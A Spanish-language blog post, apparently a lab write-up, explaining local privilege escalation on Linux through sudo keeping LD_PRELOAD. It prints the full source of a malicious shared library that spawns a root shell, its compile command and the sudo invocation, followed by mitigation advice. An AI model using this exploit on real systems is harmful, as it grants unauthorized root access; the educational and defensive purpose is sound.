cd ~/blog

~/vulns/ld_preload-pivesc.md

LD_PRELOAD

privesc 24-08-2025
LD_PRELOADprivescLinuxenv

~3 min de lectura


1. sudo y privilegios

El comando sudo permite a usuarios ejecutar comandos con privilegios de otro usuario, normalmente root. Por seguridad, sudo suele requerir autenticación y tiene una política estricta sobre qué comandos puede ejecutar cada usuario.

El comando sudo -l, nos muestra los privilegios que tiene el usuario paul en el sistema preload. La salida relevante es:

paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
        /usr/bin/head, /usr/bin/ss

Observaciones importantes

  1. ==NOPASSWD==: Significa que paul puede ejecutar esos comandos como root sin necesidad de contraseña. Esto ya es un potencial riesgo si esos comandos pueden ser explotados de alguna manera.

  2. ==env_keep+=LD_PRELOAD==: Esto indica que sudo no limpia la variable de entorno LD_PRELOAD. Normalmente, sudo elimina variables que podrían afectar la ejecución de comandos para prevenir ataques, pero aquí permite que el usuario manipule LD_PRELOAD incluso al usar sudo.


2. ¿Qué es LD_PRELOAD?

LD_PRELOAD es una variable de entorno utilizada en sistemas Linux con la biblioteca dinámica (glibc), que indica al cargador dinámico, que cargue ciertas librerías antes de cualquier otra.

Esto tiene aplicaciones legítimas, como:

  • Redefinir funciones de bibliotecas estándar para depuración o testing.
  • Sobrescribir funciones de manera controlada.

Pero también puede ser un vector de ataque: si un usuario puede cargar una librería propia antes de que se ejecute un binario privilegiado, puede ejecutar código arbitrario con los privilegios de ese binario.


3. La vulnerabilidad

En este caso:

  • El usuario paul puede ejecutar comandos de root con sudo sin contraseña.
  • sudo permite pasar LD_PRELOAD al entorno del comando privilegiado.

Esto significa que paul puede cargar una librería maliciosa mientras ejecuta un binario como root.


4. Explotación paso a paso

a) Creación de la librería maliciosa

El código pwned.c es:

❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>
void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}

Explicación línea por línea:

  1. ==void _init() { ... }==

    • _init() es una función especial en bibliotecas compartidas que se ejecuta automáticamente al cargar la librería, antes de cualquier otra función del binario.
  2. ==unsetenv("LD_PRELOAD");==

    • Evita recursión: si la variable LD_PRELOAD sigue activa, podría intentar cargar la librería repetidamente causando errores.
  3. ==setgid(0); setuid(0);==

    • Cambia el grupo y usuario efectivo a root (ID 0). Esto es crítico: garantiza que la shell que ejecutemos tenga privilegios de root.
  4. ==system("/bin/bash");==

    • Lanza una shell interactiva como root.

b) Compilación de la librería

gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles
  • ==-fPIC==: genera código independiente de posición (requerido para librerías compartidas).
  • ==-shared==: indica que compilamos una librería compartida (.so).
  • ==-nostartfiles==: evita vincular la inicialización estándar de C, lo cual es opcional aquí.

c) Ejecución con sudo y LD_PRELOAD

sudo LD_PRELOAD=/tmp/pwned.so ss
  • ==ss== es un binario permitido para ejecutar como root según sudo -l.

  • ==LD_PRELOAD=/tmp/pwned.so== fuerza a que se cargue nuestra librería maliciosa al iniciar ss.

Como resultado, _init() se ejecuta antes que ss, escalando privilegios y abriendo una shell como root:

paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss

root@preload:/tmp#

5. Impacto de la vulnerabilidad

  1. Escalada de privilegios local: Un usuario sin privilegios puede obtener root en el sistema.

  2. Debilidad crítica en sudo: Mantener LD_PRELOAD en env_keep es un error grave si cualquier binario ejecutable con sudo es vulnerable a carga de librerías.

  3. Facilidad de explotación: No requiere exploits complejos ni vulnerabilidades del kernel; solo manipulación de entorno y compilación de una librería.


6. Cómo mitigarlo

  1. Evitar permitir LD_PRELOAD en sudo:
    • Eliminarlo de env_keep en /etc/sudoers: Defaults !env_keep+="LD_PRELOAD"
  2. Revisar comandos permitidos:
    • Evitar permitir la ejecución de binarios que puedan ser manipulados con librerías compartidas (casi cualquier binario que use glibc dinámico).
  3. Auditoría regular de sudoers:
    • Revisar quién puede ejecutar comandos con NOPASSWD y qué variables de entorno están permitidas.

// relacionados